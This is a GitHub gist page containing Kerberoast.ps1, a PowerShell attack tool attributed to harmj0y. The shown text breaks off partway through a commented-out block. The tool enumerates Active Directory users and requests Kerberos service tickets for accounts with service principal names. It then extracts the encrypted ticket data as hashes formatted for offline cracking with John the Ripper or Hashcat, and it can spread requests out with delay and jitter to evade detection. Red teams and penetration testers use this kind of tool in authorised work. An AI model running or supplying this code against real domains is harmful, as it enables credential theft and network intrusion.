Created
April 21, 2020 10:22
-
-
Save CCob/4d59b6de9ac9bd23cceea42263530476 to your computer and use it in GitHub Desktop.
IKR
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Kerberoast.ps1 | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Note: the primary method of use will be Invoke-Kerberoast with | |
various targeting options. | |
#> | |
function Get-DomainSearcher { | |
<# | |
.SYNOPSIS | |
Helper used by various functions that builds a custom AD searcher object. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Get-Domain | |
.DESCRIPTION | |
Takes a given domain and a number of customizations and returns a | |
System.DirectoryServices.DirectorySearcher object. This function is used | |
heavily by other LDAP/ADSI searcher functions (Verb-Domain*). | |
.PARAMETER Domain | |
Specifies the domain to use for the query, defaults to the current domain. | |
.PARAMETER LDAPFilter | |
Specifies an LDAP query string that is used to filter Active Directory objects. | |
.PARAMETER Properties | |
Specifies the properties of the output object to retrieve from the server. | |
.PARAMETER SearchBase | |
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
Useful for OU queries. | |
.PARAMETER SearchBasePrefix | |
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to for the search. | |
.PARAMETER SearchScope | |
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ServerTimeLimit | |
Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
.PARAMETER SecurityMasks | |
Specifies an option for examining security information of a directory object. | |
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. | |
.PARAMETER Tombstone | |
Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.EXAMPLE | |
Get-DomainSearcher -Domain testlab.local | |
Return a searcher for all objects in testlab.local. | |
.EXAMPLE | |
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' | |
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. | |
.EXAMPLE | |
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" | |
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). | |
.OUTPUTS | |
System.DirectoryServices.DirectorySearcher | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.DirectorySearcher')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SearchBasePrefix, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit = 120, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
} | |
else { | |
# if not -Domain is specified, retrieve the current domain name | |
if ($PSBoundParameters['Credential']) { | |
$DomainObject = Get-Domain -Credential $Credential | |
} | |
else { | |
$DomainObject = Get-Domain | |
} | |
$TargetDomain = $DomainObject.Name | |
} | |
if (-not $PSBoundParameters['Server']) { | |
# if there's not a specified server to bind to, try to pull the current domain PDC | |
try { | |
if ($DomainObject) { | |
$BindServer = $DomainObject.PdcRoleOwner.Name | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
$BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name | |
} | |
else { | |
$BindServer = ((Get-Domain).PdcRoleOwner).Name | |
} | |
} | |
catch { | |
throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" | |
} | |
} | |
else { | |
$BindServer = $Server | |
} | |
$SearchString = 'LDAP://' | |
if ($BindServer -and ($BindServer.Trim() -ne '')) { | |
$SearchString += $BindServer | |
if ($TargetDomain) { | |
$SearchString += '/' | |
} | |
} | |
if ($PSBoundParameters['SearchBasePrefix']) { | |
$SearchString += $SearchBasePrefix + ',' | |
} | |
if ($PSBoundParameters['SearchBase']) { | |
if ($SearchBase -Match '^GC://') { | |
# if we're searching the global catalog, get the path in the right format | |
$DN = $SearchBase.ToUpper().Trim('/') | |
$SearchString = '' | |
} | |
else { | |
if ($SearchBase -match '^LDAP://') { | |
if ($SearchBase -match "LDAP://.+/.+") { | |
$SearchString = '' | |
$DN = $SearchBase | |
} | |
else { | |
$DN = $SearchBase.SubString(7) | |
} | |
} | |
else { | |
$DN = $SearchBase | |
} | |
} | |
} | |
else { | |
# transform the target domain name into a distinguishedName if an ADS search base is not specified | |
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { | |
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))" | |
} | |
} | |
$SearchString += $DN | |
Write-Verbose "[Get-DomainSearcher] search string: $SearchString" | |
if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" | |
# bind to the inital search object using alternate credentials | |
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) | |
} | |
else { | |
# bind to the inital object using the current credentials | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) | |
} | |
$Searcher.PageSize = $ResultPageSize | |
$Searcher.SearchScope = $SearchScope | |
$Searcher.CacheResults = $False | |
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All | |
if ($PSBoundParameters['ServerTimeLimit']) { | |
$Searcher.ServerTimeLimit = $ServerTimeLimit | |
} | |
if ($PSBoundParameters['Tombstone']) { | |
$Searcher.Tombstone = $True | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
$Searcher.filter = $LDAPFilter | |
} | |
if ($PSBoundParameters['SecurityMasks']) { | |
$Searcher.SecurityMasks = Switch ($SecurityMasks) { | |
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } | |
'Group' { [System.DirectoryServices.SecurityMasks]::Group } | |
'None' { [System.DirectoryServices.SecurityMasks]::None } | |
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } | |
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } | |
} | |
} | |
if ($PSBoundParameters['Properties']) { | |
# handle an array of properties to load w/ the possibility of comma-separated strings | |
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } | |
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) | |
} | |
$Searcher | |
} | |
} | |
function Convert-LDAPProperty { | |
<# | |
.SYNOPSIS | |
Helper that converts specific LDAP property result fields and outputs | |
a custom psobject. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
Converts a set of raw LDAP properties results from ADSI/LDAP searches | |
into a proper PSObject. Used by several of the Get-Domain* function. | |
.PARAMETER Properties | |
Properties object to extract out LDAP fields for display. | |
.OUTPUTS | |
System.Management.Automation.PSCustomObject | |
A custom PSObject with LDAP hashtable properties translated. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
$Properties | |
) | |
$ObjectProperties = @{} | |
$Properties.PropertyNames | ForEach-Object { | |
if ($_ -ne 'adspath') { | |
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { | |
# convert all listed sids (i.e. if multiple are listed in sidHistory) | |
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } | |
} | |
elseif ($_ -eq 'grouptype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum | |
} | |
elseif ($_ -eq 'samaccounttype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum | |
} | |
elseif ($_ -eq 'objectguid') { | |
# convert the GUID to a string | |
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
} | |
elseif ($_ -eq 'useraccountcontrol') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum | |
} | |
elseif ($_ -eq 'ntsecuritydescriptor') { | |
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
if ($Descriptor.Owner) { | |
$ObjectProperties['Owner'] = $Descriptor.Owner | |
} | |
if ($Descriptor.Group) { | |
$ObjectProperties['Group'] = $Descriptor.Group | |
} | |
if ($Descriptor.DiscretionaryAcl) { | |
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl | |
} | |
if ($Descriptor.SystemAcl) { | |
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl | |
} | |
} | |
elseif ($_ -eq 'accountexpires') { | |
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
$ObjectProperties[$_] = "NEVER" | |
} | |
else { | |
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
} | |
} | |
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { | |
# convert timestamps | |
if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
# if we have a System.__ComObject | |
$Temp = $Properties[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
} | |
else { | |
# otherwise just a string | |
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
} | |
} | |
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
# try to convert misc com objects | |
$Prop = $Properties[$_] | |
try { | |
$Temp = $Prop[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
} | |
catch { | |
Write-Verbose "[Convert-LDAPProperty] error: $_" | |
$ObjectProperties[$_] = $Prop[$_] | |
} | |
} | |
elseif ($Properties[$_].count -eq 1) { | |
$ObjectProperties[$_] = $Properties[$_][0] | |
} | |
else { | |
$ObjectProperties[$_] = $Properties[$_] | |
} | |
} | |
} | |
try { | |
New-Object -TypeName PSObject -Property $ObjectProperties | |
} | |
catch { | |
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" | |
} | |
} | |
function Get-Domain { | |
<# | |
.SYNOPSIS | |
Returns the domain object for the current (or specified) domain. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current | |
domain or the domain specified with -Domain X. | |
.PARAMETER Domain | |
Specifies the domain name to query for, defaults to the current domain. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.EXAMPLE | |
Get-Domain -Domain testlab.local | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Get-Domain -Credential $Cred | |
.OUTPUTS | |
System.DirectoryServices.ActiveDirectory.Domain | |
A complex .NET domain object. | |
.LINK | |
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG | |
#> | |
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
} | |
else { | |
# if no domain is supplied, extract the logon domain from the PSCredential passed | |
$TargetDomain = $Credential.GetNetworkCredential().Domain | |
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" | |
} | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" | |
} | |
} | |
elseif ($PSBoundParameters['Domain']) { | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" | |
} | |
} | |
else { | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
} | |
catch { | |
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" | |
} | |
} | |
} | |
} | |
function Get-DomainSPNTicket { | |
<# | |
.SYNOPSIS | |
Request the kerberos ticket for a specified service principal name (SPN). | |
Author: machosec, Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf | |
.DESCRIPTION | |
This function will either take one/more SPN strings, or one/more PowerView.User objects | |
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN | |
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted | |
portion of the ticket is then extracted and output in either crackable John or Hashcat | |
format (deafult of John). | |
.PARAMETER SPN | |
Specifies the service principal name to request the ticket for. | |
.PARAMETER User | |
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. | |
.PARAMETER OutputFormat | |
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. | |
Defaults to 'John'. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the remote domain using Invoke-UserImpersonation. | |
.PARAMETER Delay | |
Specifies the delay in seconds between ticket requests. | |
.PARAMETER Jitter | |
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 | |
.EXAMPLE | |
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" | |
Request a kerberos service ticket for the specified SPN. | |
.EXAMPLE | |
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket | |
Request kerberos service tickets for all SPNs passed on the pipeline. | |
.EXAMPLE | |
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | |
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. | |
.INPUTS | |
String | |
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. | |
.INPUTS | |
PowerView.User | |
Accepts one or more PowerView.User objects on the pipeline with the User parameter set. | |
.OUTPUTS | |
PowerView.SPNTicket | |
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. | |
#> | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding(DefaultParameterSetName = 'RawSPN')] | |
Param ( | |
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidatePattern('.*/.*')] | |
[Alias('ServicePrincipalName')] | |
[String[]] | |
$SPN, | |
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
[Object[]] | |
$User, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'John', | |
[ValidateRange(0,10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = Invoke-UserImpersonation -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['User']) { | |
$TargetObject = $User | |
} | |
else { | |
$TargetObject = $SPN | |
} | |
$RandNo = New-Object System.Random | |
ForEach ($Object in $TargetObject) { | |
if ($PSBoundParameters['User']) { | |
$UserSPN = $Object.ServicePrincipalName | |
$SamAccountName = $Object.SamAccountName | |
$DistinguishedName = $Object.DistinguishedName | |
} | |
else { | |
$UserSPN = $Object | |
$SamAccountName = 'UNKNOWN' | |
$DistinguishedName = 'UNKNOWN' | |
} | |
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 | |
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
$UserSPN = $UserSPN[0] | |
} | |
try { | |
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
} | |
catch { | |
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" | |
} | |
if ($Ticket) { | |
$TicketByteStream = $Ticket.GetRequest() | |
} | |
if ($TicketByteStream) { | |
$Out = New-Object PSObject | |
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) | |
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object | |
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { | |
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) | |
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 | |
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) | |
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object | |
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { | |
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} else { | |
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null | |
} | |
} else { | |
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} | |
if($Hash) { | |
if ($OutputFormat -match 'John') { | |
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" | |
} | |
else { | |
if ($DistinguishedName -ne 'UNKNOWN') { | |
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
else { | |
$UserDomain = 'UNKNOWN' | |
} | |
# hashcat output format | |
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" | |
} | |
$Out | Add-Member Noteproperty 'Hash' $HashFormat | |
} | |
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') | |
Write-Output $Out | |
} | |
# sleep for our semi-randomized interval | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
} | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Get-DomainUser { | |
<# | |
.SYNOPSIS | |
Return all users or specific user objects in AD. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty | |
.DESCRIPTION | |
Builds a directory searcher object using Get-DomainSearcher, builds a custom | |
LDAP filter based on targeting/filter parameters, and searches for all objects | |
matching the criteria. To only return specific properties, use | |
"-Properties samaccountname,usnchanged,...". By default, all user objects for | |
the current domain are returned. | |
.PARAMETER Identity | |
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), | |
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). | |
Wildcards accepted. Also accepts DOMAIN\user format. | |
.PARAMETER SPN | |
Switch. Only return user objects with non-null service principal names. | |
.PARAMETER UACFilter | |
Dynamic parameter that accepts one or more values from $UACEnum, including | |
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. | |
.PARAMETER AdminCount | |
Switch. Return users with '(adminCount=1)' (meaning are/were privileged). | |
.PARAMETER AllowDelegation | |
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' | |
.PARAMETER DisallowDelegation | |
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' | |
.PARAMETER TrustedToAuth | |
Switch. Return computer objects that are trusted to authenticate for other principals. | |
.PARAMETER PreauthNotRequired | |
Switch. Return user accounts with "Do not require Kerberos preauthentication" set. | |
.PARAMETER Domain | |
Specifies the domain to use for the query, defaults to the current domain. | |
.PARAMETER LDAPFilter | |
Specifies an LDAP query string that is used to filter Active Directory objects. | |
.PARAMETER Properties | |
Specifies the properties of the output object to retrieve from the server. | |
.PARAMETER SearchBase | |
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
Useful for OU queries. | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to. | |
.PARAMETER SearchScope | |
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ServerTimeLimit | |
Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
.PARAMETER SecurityMasks | |
Specifies an option for examining security information of a directory object. | |
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. | |
.PARAMETER Tombstone | |
Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
.PARAMETER FindOne | |
Only return one result object. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.PARAMETER Raw | |
Switch. Return raw results instead of translating the fields into a custom PSObject. | |
.EXAMPLE | |
Get-DomainUser -Domain testlab.local | |
Return all users for the testlab.local domain | |
.EXAMPLE | |
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" | |
Return the user with the given SID, as well as Administrator. | |
.EXAMPLE | |
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff | |
lastlogoff samaccountname | |
---------- -------------- | |
12/31/1600 4:00:00 PM dfm.a | |
12/31/1600 4:00:00 PM dfm | |
12/31/1600 4:00:00 PM harmj0y | |
12/31/1600 4:00:00 PM Administrator | |
.EXAMPLE | |
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation | |
Search the specified OU for privileged user (AdminCount = 1) that allow delegation | |
.EXAMPLE | |
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon | |
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon | |
.EXAMPLE | |
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED | |
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Get-DomainUser -Credential $Cred | |
.EXAMPLE | |
Get-Domain | Select-Object -Expand name | |
testlab.local | |
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname | |
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local | |
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local | |
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) | |
distinguishedname | |
----------------- | |
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local | |
.INPUTS | |
String | |
.OUTPUTS | |
PowerView.User | |
Custom PSObject with translated user property fields. | |
PowerView.User.Raw | |
The raw DirectoryServices.SearchResult object, if -Raw is enabled. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.User')] | |
[OutputType('PowerView.User.Raw')] | |
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$SPN, | |
[Switch] | |
$AdminCount, | |
[Parameter(ParameterSetName = 'AllowDelegation')] | |
[Switch] | |
$AllowDelegation, | |
[Parameter(ParameterSetName = 'DisallowDelegation')] | |
[Switch] | |
$DisallowDelegation, | |
[Switch] | |
$TrustedToAuth, | |
[Alias('KerberosPreauthNotRequired', 'NoPreauth')] | |
[Switch] | |
$PreauthNotRequired, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
<# | |
DynamicParam { | |
$UACValueNames = [Enum]::GetNames($UACEnum) | |
# add in the negations | |
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
